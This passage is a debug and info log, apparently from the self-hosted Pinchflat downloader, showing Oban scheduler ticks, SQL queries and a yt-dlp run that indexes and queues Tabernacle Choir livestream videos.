{"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:46:03.546 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:33.548 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.265 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:47:03.550 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:33.552 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.266 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:48:03.554 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:33.556 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.267 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:49:03.558 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:33.560 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.268 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:50:03.562 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:33.564 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.269 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:51:03.566 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:33.568 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.270 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:52:03.570 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:33.572 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.271 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:53:03.574 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:33.576 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.272 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:54:03.578 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:33.580 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.273 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:55:03.583 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:33.585 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.274 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:56:03.587 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:33.589 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.275 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:57:03.591 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:33.593 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.276 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:58:03.595 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:33.628 [info] {"source":"oban","duration":32638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 10:59:00.277 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:59:03.630 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:33.632 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.278 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:00:03.634 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:32.356 [info] {"args":{"id":1},"id":2626,"meta":{},"system_time":1765735232355718476,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:00:32.357 [debug] QUERY OK source="sources" db=0.5ms idle=1676.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:32.358 [debug] QUERY OK source="settings" db=0.3ms idle=1677.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:32.363 [debug] QUERY OK source="media_items" db=4.4ms idle=1022.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:32.364 [debug] QUERY OK source="media_items" db=0.3ms idle=14.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 11:00:32.364 [debug] QUERY OK source="media_profiles" db=0.3ms idle=8.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:32.365 [debug] QUERY OK source="settings" db=0.1ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:32.366 [debug] QUERY OK source="settings" db=0.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:32.371 [debug] QUERY OK source="media_items" db=4.1ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 11:00:32.375 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 11:00:32.375 [debug] Current batch of media processed. Will check again in 1000ms 11:00:32.375 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=11.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:32.376 [debug] QUERY OK source="settings" db=0.2ms idle=11.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:32.376 [debug] QUERY OK source="settings" db=0.2ms idle=10.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:32.407 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@thetabernaclechoir/streams --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/tabernacle choir/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/8c/58/8c586b73e8a93be9528540c56e56af78e9c4efe8943eddb1f0b9358eb795833c.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c5/c0/c5c038a42ba7b1d4f11332b90d3b935c01bcd62ebf75205098e951523e0b12d9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:33.376 [debug] Current batch of media processed. Will check again in 1000ms 11:00:33.636 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:34.377 [debug] Current batch of media processed. Will check again in 1000ms 11:00:35.378 [debug] Current batch of media processed. Will check again in 1000ms 11:00:36.379 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "filename" => "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", "id" => "opR_Tg1uLjc", "live_status" => "is_upcoming", "original_url" => "https://www.youtube.com/watch?v=opR_Tg1uLjc", "playlist_index" => 1, "timestamp" => 1765213124, "title" => "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "upload_date" => "20251208"} 11:00:36.380 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1025.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:36.381 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=700.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:36.384 [debug] QUERY OK source="media_items" db=2.4ms idle=701.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:58:44Z], 1] 11:00:36.515 [debug] QUERY OK source="media_items" db=130.5ms idle=704.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "8178002a-86a5-4315-826c-0d3d951746fe", "opR_Tg1uLjc", true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", 1, "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, false, false, [], 96, ~U[2025-12-08 16:58:44Z], ~U[2025-12-14 18:00:36Z], ~U[2025-12-14 18:00:36Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "opR_Tg1uLjc", nil, true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, ~U[2025-12-08 16:58:44Z]] 11:00:36.517 [debug] QUERY OK source="sources" db=0.7ms idle=159.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:36.517 [debug] QUERY OK source="media_profiles" db=0.3ms idle=136.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:36.519 [debug] QUERY OK source="media_items" db=0.7ms idle=136.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102574] 11:00:36.519 [info] Kicking off download for media item #102574 (opR_Tg1uLjc) 11:00:36.521 [debug] Current batch of media processed. Will check again in 1000ms 11:00:37.522 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "filename" => "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", "id" => "mxh_kSXFWpg", "live_status" => "is_upcoming", "original_url" => "https://www.youtube.com/watch?v=mxh_kSXFWpg", "playlist_index" => 2, "timestamp" => 1765213054, "title" => "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "upload_date" => "20251208"} 11:00:37.523 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1005.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:37.524 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1006.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:37.527 [debug] QUERY OK source="media_items" db=2.9ms idle=1005.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:57:34Z], 1] 11:00:37.531 [debug] QUERY OK source="media_items" db=2.6ms idle=1007.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "9c203045-10e1-4a02-9eaa-055aa5831575", "mxh_kSXFWpg", true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", 2, "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, false, false, [], 96, ~U[2025-12-08 16:57:34Z], ~U[2025-12-14 18:00:37Z], ~U[2025-12-14 18:00:37Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "mxh_kSXFWpg", nil, true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, ~U[2025-12-08 16:57:34Z]] 11:00:37.532 [debug] QUERY OK source="sources" db=0.4ms idle=173.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:37.533 [debug] QUERY OK source="media_profiles" db=0.4ms idle=9.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", 